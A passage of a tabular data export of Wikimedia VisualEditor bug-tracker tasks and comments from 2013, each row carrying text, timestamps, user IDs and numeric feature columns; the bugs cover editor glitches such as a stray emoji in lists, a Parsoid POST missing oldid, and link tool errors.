+**Severity**: critical",Unbreak Now!,100.0,1367266320,1367602898.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-5bkkyo5d2dquufftw2sz,task_description,resolved,True,c1,1,True,False,True,-9,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0
+212912,VisualEditor: Message <anoneditwarning> should be displayed for anonymous users in the alerts box,I see - wan't looking at main namespace.,,,1367604012,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-5bkkyo5d2dquufftw2sz,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+212907,VisualEditor: Message <anoneditwarning> should be displayed for anonymous users in the alerts box,Merged and will go out with wmf4.,,,1367602898,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-5bkkyo5d2dquufftw2sz,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+212900,VisualEditor: Message <anoneditwarning> should be displayed for anonymous users in the alerts box,"(In reply to comment #4)
+> mediawiki.org? I don't see it there.
+
+Compare https://www.mediawiki.org/w/index.php?title=MediaWiki_1.21&action=edit with https://www.mediawiki.org/wiki/MediaWiki_1.21?veaction=edit in an isolated browser (e.g. Chrome Incognito).",,,1367599367,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-5bkkyo5d2dquufftw2sz,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,1
+212892,VisualEditor: Message <anoneditwarning> should be displayed for anonymous users in the alerts box,mediawiki.org? I don't see it there.,,,1367598917,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-5bkkyo5d2dquufftw2sz,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1
+212884,VisualEditor: Message <anoneditwarning> should be displayed for anonymous users in the alerts box,"(In reply to comment #2)
+> Currently the extension doesn't let anon editors use it at all (
+> $skin->getUser()->getOption( 'visualeditor-enable' ) is required ), but I've
+> put in a fix for when we do.
+
+Except for mediawikiwiki, where it's forced on for everyone, logged in or out, regardless of preference. :-)",,,1367594947,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-5bkkyo5d2dquufftw2sz,task_subcomment,,True,c1,1,True,,,-9,,1,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+212876,VisualEditor: Message <anoneditwarning> should be displayed for anonymous users in the alerts box,"Currently the extension doesn't let anon editors use it at all ( $skin->getUser()->getOption( 'visualeditor-enable' ) is required ), but I've put in a fix for when we do.",,,1367577948,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-5bkkyo5d2dquufftw2sz,task_subcomment,,True,c1,1,True,,,-9,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+212868,VisualEditor: Message <anoneditwarning> should be displayed for anonymous users in the alerts box,Related URL: https://gerrit.wikimedia.org/r/62143 (Gerrit Change Ib5c3284c646ebcc0a8cad0b02de559d7820e05a0),,,1367577674,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-5bkkyo5d2dquufftw2sz,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+49817,VisualEditor: Editing lists results in PILE_OF_POO symbol ;),"1. Edit a page with an unordered list.
+
+2. Delete all the text on the last line.
+
+3. Press the <delete key>. The bullet should be erased.  Instead, it will
+remain and the cursor will move to the end of the previous line.
+
+4. down-arrow
+
+5. down-arrow off of the empty line.
+
+Turd appears in the empty line.
+
+Very many arrow-key actions will produce the turd.
+
+Firefox 20.0, linux.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1367217060,1367281446.0,PHID-USER-p6hvqn5njgnxuagekh4b,False,,False,PHID-TASK-dciqnjw7tyxyl2dkeuls,task_description,resolved,True,c1,1,True,False,True,-9,,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+211245,VisualEditor: Editing lists results in PILE_OF_POO symbol ;),"Actually those are two separated issues. One is about turds appearing and the other one is about bullet not being erased. So in my previous comment I referred to the first issue, and second issue is something that I'm working on now (as a part of broader refactoring to handle deletion operations).",,,1367281537,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-dciqnjw7tyxyl2dkeuls,task_subcomment,,True,c1,1,False,,,-9,,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0
+211241,VisualEditor: Editing lists results in PILE_OF_POO symbol ;),I believe that this is fixed in master: https://gerrit.wikimedia.org/r/#/c/61055/,,,1367281446,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-dciqnjw7tyxyl2dkeuls,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+49737,VisualEditor: jQuery bug in regex matching causes corruption of data-parsoid on ingest,"jQuery have WONTFIX'ed this bug (13821) so we'll have to work around.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+http://bugs.jquery.com/ticket/13821",Unbreak Now!,100.0,1366992360,1367097148.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-5bwy7gci6gdsa3r3m24i,task_description,resolved,True,c1,1,True,False,True,-10,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+232359,VisualEditor: jQuery bug in regex matching causes corruption of data-parsoid on ingest,"(In reply to comment #5)
+> (In reply to comment #0)
+> > jQuery have WONTFIX'ed this bug (13821) so we'll have to work around.
+> 
+> Any link? http://bugs.jquery.com/report/13821 returns error.
+
+http://bugs.jquery.com/ticket/13821 (in the see also field).",,,1367595136,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-5bwy7gci6gdsa3r3m24i,task_subcomment,,True,c1,1,True,,,-9,,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1
+232353,VisualEditor: jQuery bug in regex matching causes corruption of data-parsoid on ingest,"Another place we had to work around:
+https://gerrit.wikimedia.org/r/#/c/62028/",,,1367577189,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-5bwy7gci6gdsa3r3m24i,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+232349,VisualEditor: jQuery bug in regex matching causes corruption of data-parsoid on ingest,"(In reply to comment #0)
+> jQuery have WONTFIX'ed this bug (13821) so we'll have to work around.
+
+Any link? http://bugs.jquery.com/report/13821 returns error.",,,1367562927,,PHID-USER-zjzhrhmn36icnzbckqy4,True,,,PHID-TASK-5bwy7gci6gdsa3r3m24i,task_subcomment,,True,c1,1,False,,,-9,,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1
+232343,VisualEditor: jQuery bug in regex matching causes corruption of data-parsoid on ingest,*** Bug 47860 has been marked as a duplicate of this bug. ***,,,1367545048,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-5bwy7gci6gdsa3r3m24i,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+232337,VisualEditor: jQuery bug in regex matching causes corruption of data-parsoid on ingest,Ed's code is merged and will be going out with the regular deployment train on Monday.,,,1367097148,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-5bwy7gci6gdsa3r3m24i,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+232331,VisualEditor: jQuery bug in regex matching causes corruption of data-parsoid on ingest,Related URL: https://gerrit.wikimedia.org/r/61180 (Gerrit Change I3df8f49b170c31da9610129d53cf8cb65dd5d5f8),,,1367066588,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-5bwy7gci6gdsa3r3m24i,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+232322,VisualEditor: jQuery bug in regex matching causes corruption of data-parsoid on ingest,*** Bug 47712 has been marked as a duplicate of this bug. ***,,,1366992520,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-5bwy7gci6gdsa3r3m24i,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+49680,VisualEditor: Saved annotated content cannot be unannotated,"This has reappeared (in live on hewiki and others) - if the page on load has bold annotation on some text, pressing the ""bold"" button doesn't remove bold but adds a second bold annotation (which can be removed, but not in a way that stops the text being bold).
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Unbreak Now!,100.0,1366932000,1366937647.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-b7yvvcuza7umneartpgv,task_description,resolved,True,c1,1,True,False,True,-10,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0
+228458,VisualEditor: Saved annotated content cannot be unannotated,Merged and deployed.,,,1366937647,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-b7yvvcuza7umneartpgv,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+228454,VisualEditor: Saved annotated content cannot be unannotated,Roan fixing now.,,,1366934154,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-b7yvvcuza7umneartpgv,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+228446,VisualEditor: Saved annotated content cannot be unannotated,Related URL: https://gerrit.wikimedia.org/r/60948 (Gerrit Change I77f00e63c8732420063b0453fede7f453083c913),,,1366934093,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-b7yvvcuza7umneartpgv,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+49623,VisualEditor: Link inspector crashes when trying to annotate first character in the document,"Make a selection that includes the first character, and press the access key for creating a link (Ctrl+K?). You'll get a JS error.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1366853220,1368208438.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-67bjy5it2mluh5artfn6,task_description,resolved,True,c1,1,False,False,True,-10,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+225023,VisualEditor: Link inspector crashes when trying to annotate first character in the document,Mysteriously works upon updating to the current HEAD.,,,1367880698,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-67bjy5it2mluh5artfn6,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+225017,VisualEditor: Link inspector crashes when trying to annotate first character in the document,"I wanted to check this out, and I noticed that this fails (I reproduced the error) in Chrome and Firefox 20.x in Windows, but it works perfectly (no crash on first character) in my Firefox 20.x in Ubuntu.
+
+Also, if it helps, here's the error I'm getting on Firebug:
+
+Error: Error in Rangy Position module: Cannot get position for range [WrappedRange(<P>[4][<a href=""sdjfh"" titl]:0, <P>[4][<a href=""sdjfh"" titl]:0)]
+https://bits.wikimedia.org/www.mediawiki.org/load.php?debug=false&lang=en&modules=ext.visualEditor.core%2Cicons-raster%7Cext.visualEditor.viewPageTarget.icons-raster%7Crangy%7Cunicodejs.wordbreak&skin=vector&version=20130505T030747Z&*
+Line 224
+
+It seems it has something to do with the wordbreaks (??). Can there be a difference in wordbreaks that are used at the beginning of a document/paragraph between Linux and Windows? (Like ther'es a difference in endofline chars and whitespaces) ?
+
+Not sure if it helps, but here's for sharing.",,,1367812636,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-67bjy5it2mluh5artfn6,task_subcomment,,True,c1,1,False,,,-8,,0,1,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,1,0,0,1,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+49434,VisualEditor: No oldid is sent on POST to Parsoid,"As the title says. The bug seems to be in postHTML:
+
+array(
+        'postData' => array( 'content' => $html ),
+        'timeout' => $wgVisualEditorParsoidTimeout,
+        'oldid' => $parserParams['oldid']
+)
+
+
+should be:
+
+array(
+        'postData' => array( 'content' => $html, 
+                             'oldid' =>  $parserParams['oldid']),
+        'timeout' => $wgVisualEditorParsoidTimeout
+)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1366408980,1366641892.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-uw2enw4anj5qqfz3lyei,task_description,resolved,True,c1,1,True,False,True,-11,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+213019,VisualEditor: No oldid is sent on POST to Parsoid,*** Bug 47498 has been marked as a duplicate of this bug. ***,,,1366641916,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-uw2enw4anj5qqfz3lyei,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+213016,VisualEditor: No oldid is sent on POST to Parsoid,Merged; to go out in next push as a critical priority.,,,1366641892,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uw2enw4anj5qqfz3lyei,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+213012,VisualEditor: No oldid is sent on POST to Parsoid,Related URL: https://gerrit.wikimedia.org/r/60082 (Gerrit Change Ib1b7079a7fd3357903e5a14795ed0d2f2bdc5d16),,,1366409690,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uw2enw4anj5qqfz3lyei,task_subcomment,,True,c1,1,False,,,-11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+213007,VisualEditor: No oldid is sent on POST to Parsoid,Verified that this fixes the problem and lets Parsoid actually use selective serialization. Current production code does not use selective serialization for this reason.,,,1366409237,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-uw2enw4anj5qqfz3lyei,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+213004,VisualEditor: No oldid is sent on POST to Parsoid,This would explain a great deal. :-),,,1366409214,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uw2enw4anj5qqfz3lyei,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0
+49413,"[Regression] VisualEditor: Link tool produces ""undefined"" in normal use","The link tool showing ""undefined"" in step 5 of the bug report
+
+1. Hit an article on English Wikipedia and click ""Edit"" to invoke Visual Editor. I used http://en.wikipedia.org/wiki/Savage%2C_Montana.
+
+2. Double-click any word to highlight it. I used the first word of the ""History"" section, ""Savage"".
+
+3. Click the Link Tool icon, and the tool pops up.
+
+4. Choose any article title in the dropdown (I chose ""Savage Land"") and press Enter.
+
+5. The dropdown closes, and in the tool's text input, instead of saying ""Savage Land,"" it says ""undefined."" (See screenshot to be uploaded.)
+
+6. Now click outside the tool -- somewhere else on the article. The tool becomes completely blank (see second screenshot) and article text disappears.
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical
+
+**Attached**: {F10425}",Unbreak Now!,100.0,1366381800,1366919875.0,PHID-USER-o5tv5cyrple4fn5xqopm,False,,False,PHID-TASK-2kjxh5erw27qfzcnj2zn,task_description,resolved,True,c1,1,False,False,True,-11,,1,0,1,1,0,1,0,0,0,0,1,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+211716,"[Regression] VisualEditor: Link tool produces ""undefined"" in normal use",Now fixed by gerrit 60907 - thanks Trevor!,,,1366919875,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2kjxh5erw27qfzcnj2zn,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+211711,"[Regression] VisualEditor: Link tool produces ""undefined"" in normal use",Seemingly not fixed at all - still broken in master/production with same behaviour as before.,,,1366918173,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2kjxh5erw27qfzcnj2zn,task_subcomment,,True,c1,1,True,,,-10,,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+211708,"[Regression] VisualEditor: Link tool produces ""undefined"" in normal use",Now merged and going out tomorrow.,,,1366854691,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2kjxh5erw27qfzcnj2zn,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+211704,"[Regression] VisualEditor: Link tool produces ""undefined"" in normal use",Related URL: https://gerrit.wikimedia.org/r/60781 (Gerrit Change I286a28002c1691e58bbd7de04ed08cceb8b3bb07),,,1366852733,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2kjxh5erw27qfzcnj2zn,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+211700,"[Regression] VisualEditor: Link tool produces ""undefined"" in normal use",*** Bug 47546 has been marked as a duplicate of this bug. ***,,,1366741802,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2kjxh5erw27qfzcnj2zn,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+211696,"[Regression] VisualEditor: Link tool produces ""undefined"" in normal use","Same for me.
+
